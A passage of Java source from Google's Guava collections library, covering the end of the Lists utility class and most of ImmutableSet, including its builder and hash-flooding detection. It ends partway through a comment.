public int nextIndex() {
return reversePosition(forwardIterator.nextIndex());
}
@Override
@ParametricNullness
public T previous() {
if (!hasPrevious()) {
throw new NoSuchElementException();
}
canRemoveOrSet = true;
return forwardIterator.next();
}
@Override
public int previousIndex() {
return nextIndex() - 1;
}
@Override
public void remove() {
checkRemove(canRemoveOrSet);
forwardIterator.remove();
canRemoveOrSet = false;
}
@Override
public void set(@ParametricNullness T e) {
checkState(canRemoveOrSet);
forwardIterator.set(e);
}
};
}
}
private static class RandomAccessReverseList<T extends @Nullable Object> extends ReverseList<T>
implements RandomAccess {
RandomAccessReverseList(List<T> forwardList) {
super(forwardList);
}
}
/** An implementation of {@link List#hashCode()}. */
static int hashCodeImpl(List<?> list) {
// TODO(lowasser): worth optimizing for RandomAccess?
int hashCode = 1;
for (Object o : list) {
hashCode = 31 * hashCode + (o == null ? 0 : o.hashCode());
hashCode = ~~hashCode;
// needed to deal with GWT integer overflow
}
return hashCode;
}
/** An implementation of {@link List#equals(Object)}. */
static boolean equalsImpl(List<?> thisList, @CheckForNull Object other) {
if (other == checkNotNull(thisList)) {
return true;
}
if (!(other instanceof List)) {
return false;
}
List<?> otherList = (List<?>) other;
int size = thisList.size();
if (size != otherList.size()) {
return false;
}
if (thisList instanceof RandomAccess && otherList instanceof RandomAccess) {
// avoid allocation and use the faster loop
for (int i = 0; i < size; i++) {
if (!Objects.equal(thisList.get(i), otherList.get(i))) {
return false;
}
}
return true;
} else {
return Iterators.elementsEqual(thisList.iterator(), otherList.iterator());
}
}
/** An implementation of {@link List#addAll(int, Collection)}. */
static <E extends @Nullable Object> boolean addAllImpl(
List<E> list, int index, Iterable<? extends E> elements) {
boolean changed = false;
ListIterator<E> listIterator = list.listIterator(index);
for (E e : elements) {
listIterator.add(e);
changed = true;
}
return changed;
}
/** An implementation of {@link List#indexOf(Object)}. */
static int indexOfImpl(List<?> list, @CheckForNull Object element) {
if (list instanceof RandomAccess) {
return indexOfRandomAccess(list, element);
} else {
ListIterator<?> listIterator = list.listIterator();
while (listIterator.hasNext()) {
if (Objects.equal(element, listIterator.next())) {
return listIterator.previousIndex();
}
}
return -1;
}
}
private static int indexOfRandomAccess(List<?> list, @CheckForNull Object element) {
int size = list.size();
if (element == null) {
for (int i = 0; i < size; i++) {
if (list.get(i) == null) {
return i;
}
}
} else {
for (int i = 0; i < size; i++) {
if (element.equals(list.get(i))) {
return i;
}
}
}
return -1;
}
/** An implementation of {@link List#lastIndexOf(Object)}. */
static int lastIndexOfImpl(List<?> list, @CheckForNull Object element) {
if (list instanceof RandomAccess) {
return lastIndexOfRandomAccess(list, element);
} else {
ListIterator<?> listIterator = list.listIterator(list.size());
while (listIterator.hasPrevious()) {
if (Objects.equal(element, listIterator.previous())) {
return listIterator.nextIndex();
}
}
return -1;
}
}
private static int lastIndexOfRandomAccess(List<?> list, @CheckForNull Object element) {
if (element == null) {
for (int i = list.size() - 1; i >= 0; i--) {
if (list.get(i) == null) {
return i;
}
}
} else {
for (int i = list.size() - 1; i >= 0; i--) {
if (element.equals(list.get(i))) {
return i;
}
}
}
return -1;
}
/** Returns an implementation of {@link List#listIterator(int)}. */
static <E extends @Nullable Object> ListIterator<E> listIteratorImpl(List<E> list, int index) {
return new AbstractListWrapper<>(list).listIterator(index);
}
/** An implementation of {@link List#subList(int, int)}. */
static <E extends @Nullable Object> List<E> subListImpl(
final List<E> list, int fromIndex, int toIndex) {
List<E> wrapper;
if (list instanceof RandomAccess) {
wrapper =
new RandomAccessListWrapper<E>(list) {
@Override
public ListIterator<E> listIterator(int index) {
return backingList.listIterator(index);
}
@J2ktIncompatible private static final long serialVersionUID = 0;
};
} else {
wrapper =
new AbstractListWrapper<E>(list) {
@Override
public ListIterator<E> listIterator(int index) {
return backingList.listIterator(index);
}
@J2ktIncompatible private static final long serialVersionUID = 0;
};
}
return wrapper.subList(fromIndex, toIndex);
}
private static class AbstractListWrapper<E extends @Nullable Object> extends AbstractList<E> {
final List<E> backingList;
AbstractListWrapper(List<E> backingList) {
this.backingList = checkNotNull(backingList);
}
@Override
public void add(int index, @ParametricNullness E element) {
backingList.add(index, element);
}
@Override
public boolean addAll(int index, Collection<? extends E> c) {
return backingList.addAll(index, c);
}
@Override
@ParametricNullness
public E get(int index) {
return backingList.get(index);
}
@Override
@ParametricNullness
public E remove(int index) {
return backingList.remove(index);
}
@Override
@ParametricNullness
public E set(int index, @ParametricNullness E element) {
return backingList.set(index, element);
}
@Override
public boolean contains(@CheckForNull Object o) {
return backingList.contains(o);
}
@Override
public int size() {
return backingList.size();
}
}
private static class RandomAccessListWrapper<E extends @Nullable Object>
extends AbstractListWrapper<E> implements RandomAccess {
RandomAccessListWrapper(List<E> backingList) {
super(backingList);
}
}
/** Used to avoid http://bugs.sun.com/view_bug.do?bug_id=6558557 */
static <T extends @Nullable Object> List<T> cast(Iterable<T> iterable) {
return (List<T>) iterable;
}
}
| google/guava | guava/src/com/google/common/collect/Lists.java |
1,382 | /*
* Copyright (C) 2007 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.collect.CollectPreconditions.checkNonnegative;
import static java.util.Objects.requireNonNull;
import com.google.common.annotations.GwtCompatible;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.annotations.J2ktIncompatible;
import com.google.common.annotations.VisibleForTesting;
import com.google.common.math.IntMath;
import com.google.common.primitives.Ints;
import com.google.errorprone.annotations.CanIgnoreReturnValue;
import com.google.errorprone.annotations.concurrent.LazyInit;
import com.google.j2objc.annotations.RetainedWith;
import java.io.InvalidObjectException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.math.RoundingMode;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.EnumSet;
import java.util.Iterator;
import java.util.Set;
import java.util.SortedSet;
import java.util.Spliterator;
import java.util.function.Consumer;
import java.util.stream.Collector;
import javax.annotation.CheckForNull;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* A {@link Set} whose contents will never change, with many other important properties detailed at
* {@link ImmutableCollection}.
*
* @since 2.0
*/
@GwtCompatible(serializable = true, emulated = true)
@SuppressWarnings("serial") // we're overriding default serialization
@ElementTypesAreNonnullByDefault
public abstract class ImmutableSet<E> extends ImmutableCollection<E> implements Set<E> {
static final int SPLITERATOR_CHARACTERISTICS =
ImmutableCollection.SPLITERATOR_CHARACTERISTICS | Spliterator.DISTINCT;
/**
* Returns a {@code Collector} that accumulates the input elements into a new {@code
* ImmutableSet}. Elements appear in the resulting set in the encounter order of the stream; if
* the stream contains duplicates (according to {@link Object#equals(Object)}), only the first
* duplicate in encounter order will appear in the result.
*
* @since 21.0
*/
public static <E> Collector<E, ?, ImmutableSet<E>> toImmutableSet() {
return CollectCollectors.toImmutableSet();
}
/**
* Returns the empty immutable set. Preferred over {@link Collections#emptySet} for code
* consistency, and because the return type conveys the immutability guarantee.
*
* <p><b>Performance note:</b> the instance returned is a singleton.
*/
@SuppressWarnings({"unchecked"}) // fully variant implementation (never actually produces any Es)
public static <E> ImmutableSet<E> of() {
return (ImmutableSet<E>) RegularImmutableSet.EMPTY;
}
/**
* Returns an immutable set containing the given element. Preferred over {@link
* Collections#singleton} for code consistency, {@code null} rejection, and because the return
* type conveys the immutability guarantee.
*/
public static <E> ImmutableSet<E> of(E e1) {
return new SingletonImmutableSet<>(e1);
}
/*
* TODO: b/315526394 - Skip the Builder entirely for the of(...) methods, since we don't need to
* worry that we might trigger the fallback to the JDK-backed implementation? (The varargs one
* _could_, so we could keep it as it is. Or we could convince ourselves that hash flooding is
* unlikely in practice there, too.)
*/
/**
* Returns an immutable set containing the given elements, minus duplicates, in the order each was
* first specified. That is, if multiple elements are {@linkplain Object#equals equal}, all except
* the first are ignored.
*/
public static <E> ImmutableSet<E> of(E e1, E e2) {
return new RegularSetBuilderImpl<E>(2).add(e1).add(e2).review().build();
}
/**
* Returns an immutable set containing the given elements, minus duplicates, in the order each was
* first specified. That is, if multiple elements are {@linkplain Object#equals equal}, all except
* the first are ignored.
*/
public static <E> ImmutableSet<E> of(E e1, E e2, E e3) {
return new RegularSetBuilderImpl<E>(3).add(e1).add(e2).add(e3).review().build();
}
/**
* Returns an immutable set containing the given elements, minus duplicates, in the order each was
* first specified. That is, if multiple elements are {@linkplain Object#equals equal}, all except
* the first are ignored.
*/
public static <E> ImmutableSet<E> of(E e1, E e2, E e3, E e4) {
return new RegularSetBuilderImpl<E>(4).add(e1).add(e2).add(e3).add(e4).review().build();
}
/**
* Returns an immutable set containing the given elements, minus duplicates, in the order each was
* first specified. That is, if multiple elements are {@linkplain Object#equals equal}, all except
* the first are ignored.
*/
public static <E> ImmutableSet<E> of(E e1, E e2, E e3, E e4, E e5) {
return new RegularSetBuilderImpl<E>(5).add(e1).add(e2).add(e3).add(e4).add(e5).review().build();
}
/**
* Returns an immutable set containing the given elements, minus duplicates, in the order each was
* first specified. That is, if multiple elements are {@linkplain Object#equals equal}, all except
* the first are ignored.
*
* <p>The array {@code others} must not be longer than {@code Integer.MAX_VALUE - 6}.
*
* @since 3.0 (source-compatible since 2.0)
*/
@SafeVarargs // For Eclipse. For internal javac we have disabled this pointless type of warning.
public static <E> ImmutableSet<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E... others) {
checkArgument(
others.length <= Integer.MAX_VALUE - 6, "the total number of elements must fit in an int");
SetBuilderImpl<E> builder = new RegularSetBuilderImpl<>(6 + others.length);
builder = builder.add(e1).add(e2).add(e3).add(e4).add(e5).add(e6);
for (int i = 0; i < others.length; i++) {
builder = builder.add(others[i]);
}
return builder.review().build();
}
/**
* Returns an immutable set containing each of {@code elements}, minus duplicates, in the order
* each appears first in the source collection.
*
* <p><b>Performance note:</b> This method will sometimes recognize that the actual copy operation
* is unnecessary; for example, {@code copyOf(copyOf(anArrayList))} will copy the data only once.
* This reduces the expense of habitually making defensive copies at API boundaries. However, the
* precise conditions for skipping the copy operation are undefined.
*
* @throws NullPointerException if any of {@code elements} is null
* @since 7.0 (source-compatible since 2.0)
*/
// This the best we could do to get copyOfEnumSet to compile in the mainline.
// The suppression also covers the cast to E[], discussed below.
// In the backport, we don't have those cases and thus don't need this suppression.
// We keep it to minimize diffs.
@SuppressWarnings("unchecked")
public static <E> ImmutableSet<E> copyOf(Collection<? extends E> elements) {
/*
* TODO(lowasser): consider checking for ImmutableAsList here
* TODO(lowasser): consider checking for Multiset here
*/
// Don't refer to ImmutableSortedSet by name so it won't pull in all that code
if (elements instanceof ImmutableSet && !(elements instanceof SortedSet)) {
@SuppressWarnings("unchecked") // all supported methods are covariant
ImmutableSet<E> set = (ImmutableSet<E>) elements;
if (!set.isPartialView()) {
return set;
}
} else if (elements instanceof EnumSet) {
return copyOfEnumSet((EnumSet<?>) elements);
}
if (elements.isEmpty()) {
// We avoid allocating anything.
return of();
}
// Collection<E>.toArray() is required to contain only E instances, and all we do is read them.
// TODO(cpovirk): Consider using Object[] anyway.
E[] array = (E[]) elements.toArray();
/*
* For a Set, we guess that it contains no duplicates. That's just a guess for purpose of
* sizing; if the Set uses different equality semantics, it might contain duplicates according
* to equals(), and we will deduplicate those properly, albeit at some cost in allocations.
*/
int expectedSize =
elements instanceof Set ? array.length : estimatedSizeForUnknownDuplication(array.length);
return fromArrayWithExpectedSize(array, expectedSize);
}
/**
* Returns an immutable set containing each of {@code elements}, minus duplicates, in the order
* each appears first in the source iterable. This method iterates over {@code elements} only
* once.
*
* <p><b>Performance note:</b> This method will sometimes recognize that the actual copy operation
* is unnecessary; for example, {@code copyOf(copyOf(anArrayList))} should copy the data only
* once. This reduces the expense of habitually making defensive copies at API boundaries.
* However, the precise conditions for skipping the copy operation are undefined.
*
* @throws NullPointerException if any of {@code elements} is null
*/
public static <E> ImmutableSet<E> copyOf(Iterable<? extends E> elements) {
return (elements instanceof Collection)
? copyOf((Collection<? extends E>) elements)
: copyOf(elements.iterator());
}
/**
* Returns an immutable set containing each of {@code elements}, minus duplicates, in the order
* each appears first in the source iterator.
*
* @throws NullPointerException if any of {@code elements} is null
*/
public static <E> ImmutableSet<E> copyOf(Iterator<? extends E> elements) {
// We special-case for 0 or 1 elements, but anything further is madness.
if (!elements.hasNext()) {
return of();
}
E first = elements.next();
if (!elements.hasNext()) {
return of(first);
} else {
return new ImmutableSet.Builder<E>().add(first).addAll(elements).build();
}
}
/**
* Returns an immutable set containing each of {@code elements}, minus duplicates, in the order
* each appears first in the source array.
*
* @throws NullPointerException if any of {@code elements} is null
* @since 3.0
*/
public static <E> ImmutableSet<E> copyOf(E[] elements) {
return fromArrayWithExpectedSize(elements, estimatedSizeForUnknownDuplication(elements.length));
}
private static <E> ImmutableSet<E> fromArrayWithExpectedSize(E[] elements, int expectedSize) {
switch (elements.length) {
case 0:
return of();
case 1:
return of(elements[0]);
default:
SetBuilderImpl<E> builder = new RegularSetBuilderImpl<>(expectedSize);
for (int i = 0; i < elements.length; i++) {
builder = builder.add(elements[i]);
}
return builder.review().build();
}
}
@SuppressWarnings({"rawtypes", "unchecked"}) // necessary to compile against Java 8
private static ImmutableSet copyOfEnumSet(EnumSet<?> enumSet) {
return ImmutableEnumSet.asImmutable(EnumSet.copyOf((EnumSet) enumSet));
}
ImmutableSet() {}
/** Returns {@code true} if the {@code hashCode()} method runs quickly. */
boolean isHashCodeFast() {
return false;
}
@Override
public boolean equals(@CheckForNull Object object) {
if (object == this) {
return true;
}
if (object instanceof ImmutableSet
&& isHashCodeFast()
&& ((ImmutableSet<?>) object).isHashCodeFast()
&& hashCode() != object.hashCode()) {
return false;
}
return Sets.equalsImpl(this, object);
}
@Override
public int hashCode() {
return Sets.hashCodeImpl(this);
}
// This declaration is needed to make Set.iterator() and
// ImmutableCollection.iterator() consistent.
@Override
public abstract UnmodifiableIterator<E> iterator();
@GwtCompatible
abstract static class CachingAsList<E> extends ImmutableSet<E> {
@LazyInit @RetainedWith @CheckForNull private transient ImmutableList<E> asList;
@Override
public ImmutableList<E> asList() {
ImmutableList<E> result = asList;
if (result == null) {
return asList = createAsList();
} else {
return result;
}
}
ImmutableList<E> createAsList() {
return new RegularImmutableAsList<>(this, toArray());
}
// redeclare to help optimizers with b/310253115
@SuppressWarnings("RedundantOverride")
@Override
@J2ktIncompatible // serialization
@GwtIncompatible // serialization
Object writeReplace() {
return super.writeReplace();
}
}
abstract static class Indexed<E> extends CachingAsList<E> {
abstract E get(int index);
@Override
public UnmodifiableIterator<E> iterator() {
return asList().iterator();
}
@Override
public Spliterator<E> spliterator() {
return CollectSpliterators.indexed(size(), SPLITERATOR_CHARACTERISTICS, this::get);
}
@Override
public void forEach(Consumer<? super E> consumer) {
checkNotNull(consumer);
int n = size();
for (int i = 0; i < n; i++) {
consumer.accept(get(i));
}
}
@Override
int copyIntoArray(@Nullable Object[] dst, int offset) {
return asList().copyIntoArray(dst, offset);
}
@Override
ImmutableList<E> createAsList() {
return new ImmutableAsList<E>() {
@Override
public E get(int index) {
return Indexed.this.get(index);
}
@Override
Indexed<E> delegateCollection() {
return Indexed.this;
}
// redeclare to help optimizers with b/310253115
@SuppressWarnings("RedundantOverride")
@Override
@J2ktIncompatible // serialization
@GwtIncompatible // serialization
Object writeReplace() {
return super.writeReplace();
}
};
}
// redeclare to help optimizers with b/310253115
@SuppressWarnings("RedundantOverride")
@Override
@J2ktIncompatible // serialization
@GwtIncompatible // serialization
Object writeReplace() {
return super.writeReplace();
}
}
/*
* This class is used to serialize all ImmutableSet instances, except for
* ImmutableEnumSet/ImmutableSortedSet, regardless of implementation type. It
* captures their "logical contents" and they are reconstructed using public
* static factories. This is necessary to ensure that the existence of a
* particular implementation type is an implementation detail.
*/
@J2ktIncompatible // serialization
private static class SerializedForm implements Serializable {
final Object[] elements;
SerializedForm(Object[] elements) {
this.elements = elements;
}
Object readResolve() {
return copyOf(elements);
}
private static final long serialVersionUID = 0;
}
@Override
@J2ktIncompatible // serialization
Object writeReplace() {
return new SerializedForm(toArray());
}
@J2ktIncompatible // serialization
private void readObject(ObjectInputStream stream) throws InvalidObjectException {
throw new InvalidObjectException("Use SerializedForm");
}
/**
* Returns a new builder. The generated builder is equivalent to the builder created by the {@link
* Builder} constructor.
*/
public static <E> Builder<E> builder() {
return new Builder<>();
}
/**
* Returns a new builder, expecting the specified number of distinct elements to be added.
*
* <p>If {@code expectedSize} is exactly the number of distinct elements added to the builder
* before {@link Builder#build} is called, the builder is likely to perform better than an unsized
* {@link #builder()} would have.
*
* <p>It is not specified if any performance benefits apply if {@code expectedSize} is close to,
* but not exactly, the number of distinct elements added to the builder.
*
* @since 23.1
*/
public static <E> Builder<E> builderWithExpectedSize(int expectedSize) {
checkNonnegative(expectedSize, "expectedSize");
return new Builder<>(expectedSize);
}
/**
* A builder for creating {@code ImmutableSet} instances. Example:
*
* <pre>{@code
* static final ImmutableSet<Color> GOOGLE_COLORS =
* ImmutableSet.<Color>builder()
* .addAll(WEBSAFE_COLORS)
* .add(new Color(0, 191, 255))
* .build();
* }</pre>
*
* <p>Elements appear in the resulting set in the same order they were first added to the builder.
*
* <p>Building does not change the state of the builder, so it is still possible to add more
* elements and to build again.
*
* @since 2.0
*/
public static class Builder<E> extends ImmutableCollection.Builder<E> {
/*
* `impl` is null only for instances of the subclass, ImmutableSortedSet.Builder. That subclass
* overrides all the methods that access it here. Thus, all the methods here can safely assume
* that this field is non-null.
*/
@CheckForNull private SetBuilderImpl<E> impl;
boolean forceCopy;
public Builder() {
this(0);
}
Builder(int capacity) {
if (capacity > 0) {
impl = new RegularSetBuilderImpl<>(capacity);
} else {
impl = EmptySetBuilderImpl.instance();
}
}
Builder(@SuppressWarnings("unused") boolean subclass) {
this.impl = null; // unused
}
@VisibleForTesting
void forceJdk() {
requireNonNull(impl); // see the comment on the field
this.impl = new JdkBackedSetBuilderImpl<>(impl);
}
final void copyIfNecessary() {
if (forceCopy) {
copy();
forceCopy = false;
}
}
void copy() {
requireNonNull(impl); // see the comment on the field
impl = impl.copy();
}
@Override
@CanIgnoreReturnValue
public Builder<E> add(E element) {
requireNonNull(impl); // see the comment on the field
checkNotNull(element);
copyIfNecessary();
impl = impl.add(element);
return this;
}
@Override
@CanIgnoreReturnValue
public Builder<E> add(E... elements) {
super.add(elements);
return this;
}
/**
* Adds each element of {@code elements} to the {@code ImmutableSet}, ignoring duplicate
* elements (only the first duplicate element is added).
*
* @param elements the elements to add
* @return this {@code Builder} object
* @throws NullPointerException if {@code elements} is null or contains a null element
*/
@Override
@CanIgnoreReturnValue
public Builder<E> addAll(Iterable<? extends E> elements) {
super.addAll(elements);
return this;
}
@Override
@CanIgnoreReturnValue
public Builder<E> addAll(Iterator<? extends E> elements) {
super.addAll(elements);
return this;
}
@CanIgnoreReturnValue
Builder<E> combine(Builder<E> other) {
requireNonNull(impl);
requireNonNull(other.impl);
/*
* For discussion of requireNonNull, see the comment on the field.
*
* (And I don't believe there's any situation in which we call x.combine(y) when x is a plain
* ImmutableSet.Builder but y is an ImmutableSortedSet.Builder (or vice versa). Certainly
* ImmutableSortedSet.Builder.combine() is written as if its argument will never be a plain
* ImmutableSet.Builder: It casts immediately to ImmutableSortedSet.Builder.)
*/
copyIfNecessary();
this.impl = this.impl.combine(other.impl);
return this;
}
@Override
public ImmutableSet<E> build() {
requireNonNull(impl); // see the comment on the field
forceCopy = true;
impl = impl.review();
return impl.build();
}
}
/** Swappable internal implementation of an ImmutableSet.Builder. */
private abstract static class SetBuilderImpl<E> {
// The first `distinct` elements are non-null.
// Since we can never access null elements, we don't mark this nullable.
E[] dedupedElements;
int distinct;
@SuppressWarnings("unchecked")
SetBuilderImpl(int expectedCapacity) {
this.dedupedElements = (E[]) new Object[expectedCapacity];
this.distinct = 0;
}
/** Initializes this SetBuilderImpl with a copy of the deduped elements array from toCopy. */
SetBuilderImpl(SetBuilderImpl<E> toCopy) {
this.dedupedElements = Arrays.copyOf(toCopy.dedupedElements, toCopy.dedupedElements.length);
this.distinct = toCopy.distinct;
}
/**
* Resizes internal data structures if necessary to store the specified number of distinct
* elements.
*/
private void ensureCapacity(int minCapacity) {
if (minCapacity > dedupedElements.length) {
int newCapacity =
ImmutableCollection.Builder.expandedCapacity(dedupedElements.length, minCapacity);
dedupedElements = Arrays.copyOf(dedupedElements, newCapacity);
}
}
/** Adds e to the insertion-order array of deduplicated elements. Calls ensureCapacity. */
final void addDedupedElement(E e) {
ensureCapacity(distinct + 1);
dedupedElements[distinct++] = e;
}
/**
* Adds e to this SetBuilderImpl, returning the updated result. Only use the returned
* SetBuilderImpl, since we may switch implementations if e.g. hash flooding is detected.
*/
abstract SetBuilderImpl<E> add(E e);
/** Adds all the elements from the specified SetBuilderImpl to this SetBuilderImpl. */
final SetBuilderImpl<E> combine(SetBuilderImpl<E> other) {
SetBuilderImpl<E> result = this;
for (int i = 0; i < other.distinct; i++) {
/*
* requireNonNull is safe because we ensure that the first `distinct` elements have been
* populated.
*/
result = result.add(requireNonNull(other.dedupedElements[i]));
}
return result;
}
/**
* Creates a new copy of this SetBuilderImpl. Modifications to that SetBuilderImpl will not
* affect this SetBuilderImpl or sets constructed from this SetBuilderImpl via build().
*/
abstract SetBuilderImpl<E> copy();
/**
* Call this before build(). Does a final check on the internal data structures, e.g. shrinking
* unnecessarily large structures or detecting previously unnoticed hash flooding.
*/
SetBuilderImpl<E> review() {
return this;
}
abstract ImmutableSet<E> build();
}
private static final class EmptySetBuilderImpl<E> extends SetBuilderImpl<E> {
private static final EmptySetBuilderImpl<Object> INSTANCE = new EmptySetBuilderImpl<>();
@SuppressWarnings("unchecked")
static <E> SetBuilderImpl<E> instance() {
return (SetBuilderImpl<E>) INSTANCE;
}
private EmptySetBuilderImpl() {
super(0);
}
@Override
SetBuilderImpl<E> add(E e) {
return new RegularSetBuilderImpl<E>(Builder.DEFAULT_INITIAL_CAPACITY).add(e);
}
@Override
SetBuilderImpl<E> copy() {
return this;
}
@Override
ImmutableSet<E> build() {
return ImmutableSet.of();
}
}
// We use power-of-2 tables, and this is the highest int that's a power of 2
static final int MAX_TABLE_SIZE = Ints.MAX_POWER_OF_TWO;
// Represents how tightly we can pack things, as a maximum.
private static final double DESIRED_LOAD_FACTOR = 0.7;
// If the set has this many elements, it will "max out" the table size
private static final int CUTOFF = (int) (MAX_TABLE_SIZE * DESIRED_LOAD_FACTOR);
/**
* Returns an array size suitable for the backing array of a hash table that uses open addressing
* with linear probing in its implementation. The returned size is the smallest power of two that
* can hold setSize elements with the desired load factor. Always returns at least setSize + 2.
*/
// TODO(cpovirk): Move to Hashing or something, since it's used elsewhere in the Android version.
static int chooseTableSize(int setSize) {
setSize = Math.max(setSize, 2);
// Correct the size for open addressing to match desired load factor.
if (setSize < CUTOFF) {
// Round up to the next highest power of 2.
int tableSize = Integer.highestOneBit(setSize - 1) << 1;
while (tableSize * DESIRED_LOAD_FACTOR < setSize) {
tableSize <<= 1;
}
return tableSize;
}
// The table can't be completely full or we'll get infinite reprobes
checkArgument(setSize < MAX_TABLE_SIZE, "collection too large");
return MAX_TABLE_SIZE;
}
/**
* Default implementation of the guts of ImmutableSet.Builder, creating an open-addressed hash
* table and deduplicating elements as they come, so it only allocates O(max(distinct,
* expectedCapacity)) rather than O(calls to add).
*
* <p>This implementation attempts to detect hash flooding, and if it's identified, falls back to
* JdkBackedSetBuilderImpl.
*/
private static final class RegularSetBuilderImpl<E> extends SetBuilderImpl<E> {
// null until at least two elements are present
@CheckForNull private @Nullable Object[] hashTable;
private int maxRunBeforeFallback;
private int expandTableThreshold;
private int hashCode;
RegularSetBuilderImpl(int expectedCapacity) {
super(expectedCapacity);
this.hashTable = null;
this.maxRunBeforeFallback = 0;
this.expandTableThreshold = 0;
}
RegularSetBuilderImpl(RegularSetBuilderImpl<E> toCopy) {
super(toCopy);
this.hashTable = (toCopy.hashTable == null) ? null : toCopy.hashTable.clone();
this.maxRunBeforeFallback = toCopy.maxRunBeforeFallback;
this.expandTableThreshold = toCopy.expandTableThreshold;
this.hashCode = toCopy.hashCode;
}
@Override
SetBuilderImpl<E> add(E e) {
checkNotNull(e);
if (hashTable == null) {
if (distinct == 0) {
addDedupedElement(e);
return this;
} else {
ensureTableCapacity(dedupedElements.length);
E elem = dedupedElements[0];
distinct--;
return insertInHashTable(elem).add(e);
}
}
return insertInHashTable(e);
}
private SetBuilderImpl<E> insertInHashTable(E e) {
requireNonNull(hashTable);
int eHash = e.hashCode();
int i0 = Hashing.smear(eHash);
int mask = hashTable.length - 1;
for (int i = i0; i - i0 < maxRunBeforeFallback; i++) {
int index = i & mask;
Object tableEntry = hashTable[index];
if (tableEntry == null) {
addDedupedElement(e);
hashTable[index] = e;
hashCode += eHash;
ensureTableCapacity(distinct); // rebuilds table if necessary
return this;
} else if (tableEntry.equals(e)) { // not a new element, ignore
return this;
}
}
// we fell out of the loop due to a long run; fall back to JDK impl
return new JdkBackedSetBuilderImpl<E>(this).add(e);
}
@Override
SetBuilderImpl<E> copy() {
return new RegularSetBuilderImpl<>(this);
}
@Override
SetBuilderImpl<E> review() {
if (hashTable == null) {
return this;
}
int targetTableSize = chooseTableSize(distinct);
if (targetTableSize * 2 < hashTable.length) {
hashTable = rebuildHashTable(targetTableSize, dedupedElements, distinct);
maxRunBeforeFallback = maxRunBeforeFallback(targetTableSize);
expandTableThreshold = (int) (DESIRED_LOAD_FACTOR * targetTableSize);
}
return hashFloodingDetected(hashTable) ? new JdkBackedSetBuilderImpl<E>(this) : this;
}
@Override
ImmutableSet<E> build() {
switch (distinct) {
case 0:
return of();
case 1:
/*
* requireNonNull is safe because we ensure that the first `distinct` elements have been
* populated.
*/
return of(requireNonNull(dedupedElements[0]));
default:
/*
* The suppression is safe because we ensure that the first `distinct` elements have been
* populated.
*/
@SuppressWarnings("nullness")
Object[] elements =
(distinct == dedupedElements.length)
? dedupedElements
: Arrays.copyOf(dedupedElements, distinct);
return new RegularImmutableSet<>(
elements, hashCode, requireNonNull(hashTable), hashTable.length - 1);
}
}
/** Builds a new open-addressed hash table from the first n objects in elements. */
static @Nullable Object[] rebuildHashTable(int newTableSize, Object[] elements, int n) {
@Nullable Object[] hashTable = new @Nullable Object[newTableSize];
int mask = hashTable.length - 1;
for (int i = 0; i < n; i++) {
// requireNonNull is safe because we ensure that the first n elements have been populated.
Object e = requireNonNull(elements[i]);
int j0 = Hashing.smear(e.hashCode());
for (int j = j0; ; j++) {
int index = j & mask;
if (hashTable[index] == null) {
hashTable[index] = e;
break;
}
}
}
return hashTable;
}
void ensureTableCapacity(int minCapacity) {
int newTableSize;
if (hashTable == null) {
newTableSize = chooseTableSize(minCapacity);
hashTable = new Object[newTableSize];
} else if (minCapacity > expandTableThreshold && hashTable.length < MAX_TABLE_SIZE) {
newTableSize = hashTable.length * 2;
hashTable = rebuildHashTable(newTableSize, dedupedElements, distinct);
} else {
return;
}
maxRunBeforeFallback = maxRunBeforeFallback(newTableSize);
expandTableThreshold = (int) (DESIRED_LOAD_FACTOR * newTableSize);
}
/**
* We attempt to detect deliberate hash flooding attempts. If one is detected, we fall back to a
* wrapper around j.u.HashSet, which has built-in flooding protection. MAX_RUN_MULTIPLIER was
* determined experimentally to match our desired probability of false positives.
*/
// NB: yes, this is surprisingly high, but that's what the experiments said was necessary
// Raising this number slows the worst-case contains behavior, speeds up hashFloodingDetected,
// and reduces the false-positive probability.
static final int MAX_RUN_MULTIPLIER = 13;
/**
* Checks the whole hash table for poor hash distribution. Takes O(n) in the worst case, O(n /
* log n) on average.
*
* <p>The online hash flooding detecting in RegularSetBuilderImpl.add can detect e.g. many
* exactly matching hash codes, which would cause construction to take O(n^2), but can't detect
* e.g. hash codes adversarially designed to go into ascending table locations, which keeps
* construction O(n) (as desired) but then can have O(n) queries later.
*
* <p>If this returns false, then no query can take more than O(log n).
*
* <p>Note that for a RegularImmutableSet with elements with truly random hash codes, contains
* operations take expected O(1) time but with high probability take O(log n) for at least some
* element. (https://en.wikipedia.org/wiki/Linear_probing#Analysis)
*
* <p>This method may return {@code true} even on truly random input, but {@code
* ImmutableSetTest} tests that the probability of that is low.
*/
static boolean hashFloodingDetected(@Nullable Object[] hashTable) {
int maxRunBeforeFallback = maxRunBeforeFallback(hashTable.length);
int mask = hashTable.length - 1;
// Invariant: all elements at indices in [knownRunStart, knownRunEnd) are nonnull.
// If knownRunStart == knownRunEnd, this is vacuously true.
// When knownRunEnd exceeds hashTable.length, it "wraps", detecting runs around the end
// of the table.
int knownRunStart = 0;
int knownRunEnd = 0;
outerLoop:
while (knownRunStart < hashTable.length) {
if (knownRunStart == knownRunEnd && hashTable[knownRunStart] == null) {
if (hashTable[(knownRunStart + maxRunBeforeFallback - 1) & mask] == null) {
// There are only maxRunBeforeFallback - 1 elements between here and there,
// so even if they were all nonnull, we wouldn't detect a hash flood. Therefore,
// we can skip them all.
knownRunStart += maxRunBeforeFallback;
} else {
knownRunStart++; // the only case in which maxRunEnd doesn't increase by mRBF
// happens about f * (1-f) for f = DESIRED_LOAD_FACTOR, so around 21% of the time
}
knownRunEnd = knownRunStart;
} else {
for (int j = knownRunStart + maxRunBeforeFallback - 1; j >= knownRunEnd; j--) {
if (hashTable[j & mask] == null) {
knownRunEnd = knownRunStart + maxRunBeforeFallback;
knownRunStart = j + 1;
continue outerLoop;
}
}
return true;
}
}
return false;
}
/**
